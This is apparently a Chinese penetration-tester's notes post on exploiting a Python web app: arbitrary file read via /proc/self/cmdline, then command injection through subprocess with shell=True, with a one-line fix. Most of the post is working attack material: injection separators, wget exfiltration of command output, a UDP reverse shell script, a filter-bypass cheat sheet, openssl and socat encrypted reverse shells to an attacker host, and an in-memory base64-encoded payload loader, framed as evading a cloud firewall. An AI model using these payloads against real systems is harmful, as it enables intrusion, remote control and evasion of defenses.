常见越权测试完了之后,有一个上传文件的地方,上传的文件名存在反射xss,主要记录下任意文件读取和远程命令执行。

任意文件读取

  1. 刚开始测试任意文件读取的时候,找不到要读取的文件,问了开发目录结构才读出来,好蠢。实际可以通过/proc/self/cmdline 查看当前程序的运行参数,可以获取到源代码文件名。

  2. 一般python开发的时候,根目录可能存在文件: README.md,requirements.txt,app.py,.git/config之类的文件

远程命令执行

读取到源代码之后,中间有不一部分的代码是这样的,接收请求传过来的参数,然后列目录:

res = exec_cmd4("ls -l %s|awk '{print $5}'" % abs_file_name)

exec_cmd4是开发自己写的函数,通过任意文件读取可以找到函数定义:

def exec_cmd4(cmd, no_print=False):    
	if not no_print:        
		logger.debug(cmd)    
		p = subprocess.Popen(cmd, executable=\"/bin/bash\", shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)    
		return p.communicate();

这里存在命令注入漏洞,链接: https://strcpy.me/index.php/archives/787/

抄一下demo代码:

import os
import subprocess

host = "baidu.com"

subprocess.call("ping -c 1 %s" % host, shell=True)
os.system("ping -c 1 %s" % host)

如果host="baidu.com;ls"就可以执行ls了。

PS: 这里和bash直接执行命令没什么区别,比如:

host = "baidu.com ls"
host = "baidu.com|ls"
host = "baidu.com||ls"
host = "baidu.com&&ls"

使用wget xxxx/whoami|base64,查看http请求日志。

修复方式

subprocess.call(["ping", "-c", "1", host])

TCP反弹被防火墙拦截,使用udp反弹到53端口可以成功执行命令,但是不稳定,还是被防火墙探测到了:

#nc -u -lvp 53


#!/bin/bash 
exec 3>/dev/udp/127.0.0.1/8080
exec 2>&3 
exec 1>&3 
echo Welcom back 
cat 0<&3 | bash | while read line;do echo $line;done

###命令执行绕过测试



aa|wget xyz:8000
aa`wget${IFS}xyz`.sql
aa`wget$IFS$9xyz`.sql
aa`{wget,xyz}`.sql
<>
${IFS}
${IFS}$9
a=c;b=at;$a$b $c
`echo "Y2F0IGZsYWc="|base64 -d`
c''at flag
c""at flag
c\at fl\ag
换行绕过,比如使用\n \t \b
在URL里面需要编码: %0a,%0b,%0c

ToDo:

直接的反弹shell可以被阿里防火墙抓到流量并拦截,上面tcp没反弹出来就是这个原因,UDP的反弹完执行了两下貌似也GG。所以需要一个简单方便的加密shell,加密反弹的shell流量。

加密的webshell在洗澡的时候想了下,必须要有如下特征:

  1. 尽可能减少对系统的依赖性,如果python需要安装额外的库,pass
  2. 减少文件,最好独立一个文件或者没有

查了下资料有一个现成的,测试可用:

加密后门

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Listener: openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>

Shell: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

其次成品:

https://github.com/JusticeRage/freedomfighting#ershpy
生成服务端的配置之后,在客户端直接执行即可,受害主机可以直接内存加载执行,感觉之前下载文件之后执行好蠢:

接收端: 
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0

受害者: 
gzip -c ersh.py | base64
echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python

不推荐socat

因为很多时候目标机器没有socat:

openssl req -x509 -sha256 -newkey rsa:4096 -keyout server.pem -out server.pem -days 10000 -nodes

socat openssl-connect:$ip:$1,verify=0 exec:bash,pty,stderr,setsid

socat `tty`,raw,echo=0 openssl-listen:$1,reuseaddr,cert=server.pem,verify=0

参考资料

⬆︎TOP